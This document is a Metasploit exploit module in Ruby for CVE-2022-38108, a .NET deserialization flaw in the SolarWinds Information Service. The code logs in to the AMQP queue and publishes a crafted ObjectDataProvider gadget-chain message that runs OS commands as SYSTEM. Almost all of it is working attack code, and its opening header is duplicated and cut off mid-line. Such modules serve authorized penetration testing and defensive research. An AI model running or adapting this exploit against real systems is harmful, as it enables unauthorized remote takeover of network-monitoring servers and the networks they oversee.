##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/amqp/version_ ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/amqp/version_0_9_1'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

def initialize
super(
'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE',
'Description' => %q{
The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the
AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted
message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITYSYSTEM.
},
'Author' => [
'Justin Hong', # vulnerability research, Trend Micro
'Lucas Miller', # vulnerability research, Trend Micro
'Piotr Bazydło', # vulnerability discovery, reported to ZDI
'Spencer McIntyre' # metasploit module
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'References' => [
[ 'CVE', '2022-38108' ],
[ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ],
[ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ]
],
'DefaultOptions' => {
'WfsDelay' => 10
},
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2022-10-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)

register_options([
Opt::RHOST,
Opt::RPORT(5671),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', ''])
])

register_advanced_options(
[
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
Opt::SSLVersion
]
)
end

def peer
rhost = datastore['RHOST']
rport = datastore['RPORT']
if Rex::Socket.is_ipv6?(rhost)
"[#{rhost}]:#{rport}"
else
"#{rhost}:#{rport}"
end
end

def print_status(msg)
msg = "#{peer} - #{msg}"
super
end

def exploit
amqp_client = Rex::Proto::Amqp::Version091::Client.new(
datastore['RHOST'],
port: datastore['RPORT'],
context: { 'Msf' => framework, 'MsfExploit' => self },
ssl: datastore['SSL'],
ssl_version: datastore['SSLVersion']
)

unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.")
end
print_status('Successfully connected to the remote server.')

channel = amqp_client.channel_open
vprint_status('Successfully opened a new channel.')
channel.basic_publish(
routing_key: 'SwisPubSub',
message: ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :ObjectDataProvider,
formatter: :JsonNetFormatter
),
properties: {
message_type: 'System.Windows.Data.ObjectDataProvider'
}
)
print_status('Successfully published the message to the channel.')

channel.close
amqp_client.connection_close
rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue Rex::Proto::Amqp::Error::AmqpError => e
fail_with(Failure::Unknown, e.message)
ensure
amqp_client.close
end
end